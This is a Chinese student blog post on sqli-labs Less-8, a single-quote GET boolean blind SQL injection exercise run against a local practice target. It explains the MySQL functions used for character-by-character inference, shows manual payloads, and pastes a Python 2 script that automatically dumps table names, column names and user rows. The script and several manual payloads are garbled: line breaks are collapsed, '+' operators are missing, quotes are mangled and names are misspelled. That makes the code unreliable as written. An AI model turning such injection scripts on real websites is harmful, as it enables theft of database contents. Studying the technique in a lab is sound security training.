第八关：单引号GET盲注
前言：感冒了很有以后摸到靶场，如若隔世....我的天，说不定又有同学要去实习了，再看看我。啧啧啧，神的飞起来。。
盲注需要掌握一些MySQL的相关函数：
length(str)：返回str字符串的长度。
substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
mid(str,pos,len):跟上面的一样，截取字符串
ascii(str)：返回字符串str的最左面字符的ASCII代码值。
ord(str):同上，返回ascii码
if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0
0x01 判断
加引号与否、加and或者or，都没有显示，判断这是盲注。
1.首先select查询：
ascii(substr(select(database(),1,1)))#substr是截断函数，选择数据库的第一位，截断一位；返回数据库名称的第一个字母,转化为ascii码
if(ascii(substr(select(databse(),1,1)>64,1,0))#判断第一个字母的ASCII是不是小于64（小于A）
https://www.cnblogs.com/dshore123/p/7805050.html
substr(string,int a,int b) 截取字符串string从第a个字符开始、截取b个字符，然后返回值输出。（这个返回的是那个呢？应该不是a或者b吧，返回给内存然后存起？）
然后我这里 ,刚开始的时侯，测试是否为盲注的时候，加引号或者不加引号得出的都是返回正确：you are in...
看一下源码：
显示：正确的话（1），则返回you are in... 如果返回错误（0）的话，如果是语法报错就会显示具体的语法错误，如果是数据错误那应该什么都不会显示。
0x02 爆数据库名字
1.源码告诉我们，对的会显示，错的如果是语法错误会提示、如果是数值错误则不会提示。所以接下来我们需要一步一步手工试，试出正确的截断ASCII码，这样能得出数据库的第一个字，然后的出
通过截断第二个字符，得出‘e’.
比如这个。。。第一个字符，他大于115以后就报错了，114就不报错，115=s（记住，从第一位加起的，就算最后结果 1，所以是115，去“s”）
substr从第0/1字符开始，都是代表第一位开始。
所以我数据库的名字的第二个字符就是“e”
然后这样推算下去。。。。
得出数据库：security
0x03 使用脚本暴表名、列名
当然，这个脚本也是copy组长的。。。我运行一下。。。。
import urllib2 import urllib success_str = "You are in" getTable = "users" index = "0" url = "http://localhost/sql1/Less-8/?id=1" database = "database()" selectDB = "select database()" selectTable = "select table_name from information_schema.tables where table_schema=‘%s‘ limit %d,1" asciiPayload = "‘ and ascii(substr((%s),%d,1))>=%d #" lengthPayload = "‘ and length(%s)>=%d #" selectTableCountPayload = "‘and (select count(table_name) from information_schema.tables where table_schema=‘%s‘)>=%d #" selectTableNameLengthPayloadfront = "‘and (select length(table_name) from information_schema.tables where table_schema=‘%s‘ limit " selectTableNameLengthPayloadbehind = ",1)>=%d #" # 发送请求，根据页面的返回的判断长度的猜测结果 # string:猜测的字符串 payload:使用的payload length：猜测的长度 def getLengthResult(payload, string, length): finalUrl = url urllib.quote(payload % (string, length)) res = urllib2.urlopen(finalUrl) if success_str in res.read(): return True else: return False # 发送请求，根据页面的返回的判断猜测的字符是否正确 # payload:使用的payload string:猜测的字符串 pos：猜测字符串的位置 ascii：猜测的ascii def getResult(payload, string, pos, ascii): finalUrl = url urllib.quote(payload % (string, pos, ascii)) res = urllib2.urlopen(finalUrl) if success_str in res.read(): return True else: return False # 注入 def inject(): # 猜数据库长度 lengthOfDBName = getLengthOfString(lengthPayload, database) print ("length of DBname: " str(lengthOfDBName)) # 获取数据库名称 DBname = getName(asciiPayload, selectDB, lengthOfDBName) print ("current database:" DBname) # 获取数据库中的表的个数 # print selectTableCountPayload tableCount = getLengthOfString(selectTableCountPayload, DBname) print ("count of talbe:" str(tableCount)) # 获取数据库中的表 for i in xrange(0,tableCount): # 第几个表 num = str(i) # 获取当前这个表的长度 selectTableNameLengthPayload = selectTableNameLengthPayloadfront num selectTableNameLengthPayloadbehind tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname) print ("current table length:" str(tableNameLength)) # 获取当前这个表的名字 selectTableName = selectTable%(DBname, i) tableName = getName(asciiPayload, selectTableName ,tableNameLength) print (tableName) selectColumnCountPayload = "‘and (select count(column_name) from information_schema.columns where table_schema=‘" DBname "‘ and table_name=‘%s‘)>=%d #" # print selectColumnCountPayload # 获取指定表的列的数量 columnCount = getLengthOfString(selectColumnCountPayload, getTable) print ("table:" getTable " --count of column:" str(columnCount)) # 获取该表有多少行数据 dataCountPayload = "‘and (select count(*) from %s)>=%d #" dataCount = getLengthOfString(dataCountPayload, getTable) print ("table:" getTable " --count of data: " str(dataCount)) data = [] # 获取指定表中的列 for i in xrange(0,columnCount): # 获取该列名字长度 selectColumnNameLengthPayload = "‘and (select length(column_name) from information_schema.columns where table_schema=‘" DBname "‘ and table_name=‘%s‘ limit " str(i) ",1)>=%d #" # print selectColumnNameLengthPayload columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable) print ("current column length:" str(columnNameLength)) # 获取该列的名字 selectColumn = "select column_name from information_schema.columns where table_schema=‘" DBname "‘ and table_name=‘%s‘ limit %d,1" selectColumnName = selectColumn%(getTable, i) # print selectColumnName columnName = getName(asciiPayload, selectColumnName ,columnNameLength) print (columnName) tmpData = [] tmpData.append(columnName) # 获取该表的数据 for j in xrange(0,dataCount): columnDataLengthPayload = "‘and (select length(" columnName ") from %s limit " str(j) ",1)>=%d #" # print columnDataLengthPayload columnDataLength = getLengthOfString(columnDataLengthPayload, getTable) # print columnDataLength selectData = "select " columnName " from users limit " str(j) ",1" columnData = getName(asciiPayload, selectData, columnDataLength) # print columnData tmpData.append(columnData) data.append(tmpData) # print data # 格式化输出数据 # 输出列名 tmp = "" for i in xrange(0,len(data)): tmp = data[i][0] " " print (tmp) # 输出具体数据 for j in xrange(1,dataCount 1): tmp = "" for i in xrange(0,len(data)): tmp = data[i][j] " " print (tmp) # 获取字符串的长度 def getLengthOfString(payload, string): # 猜长度 lengthLeft = 0 lengthRigth = 0 guess = 10 # 确定长度上限，每次增加5 while 1: # 如果长度大于guess if getLengthResult(payload, string, guess) == True: # 猜测值增加5 guess = guess 5 else: lengthRigth = guess break # print "lengthRigth: " str(lengthRigth) # 二分法查长度 mid = (lengthLeft lengthRigth) / 2 while lengthLeft < lengthRigth - 1: # 如果长度大于等于mid if getLengthResult(payload, string, mid) == True: # 更新长度的左边界为mid lengthLeft = mid else: # 否则就是长度小于mid # 更新长度的右边界为mid lengthRigth = mid # 更新中值 mid = (lengthLeft lengthRigth) / 2 # print lengthLeft, lengthRigth # 因为lengthLeft当长度大于等于mid时更新为mid，而lengthRigth是当长度小于mid时更新为mid # 所以长度区间：大于等于 lengthLeft，小于lengthRigth # 而循环条件是 lengthLeft < lengthRigth - 1，退出循环，lengthLeft就是所求长度 # 如循环到最后一步 lengthLeft = 8， lengthRigth = 9时，循环退出，区间为8<=length<9,length就肯定等于8 return lengthLeft # 获取名称 def getName(payload, string, lengthOfString): # 32是空格，是第一个可显示的字符，127是delete，最后一个字符 tmp = ‘‘ for i in xrange(1,lengthOfString 1): left = 32 right = 127 mid = (left right) / 2 while left < right - 1: # 如果该字符串的第i个字符的ascii码大于等于mid if getResult(payload, string, i, mid) == True: # 则更新左边界 left = mid mid = (left right) / 2 else: # 否则该字符串的第i个字符的ascii码小于mid # 则更新右边界 right = mid # 更新中值 mid = (left right) / 2 tmp = chr(left) # print tmp return tmp def main(): inject() main()
运行结果嘛。。明天继续改bug...我的urllib3啊啊啊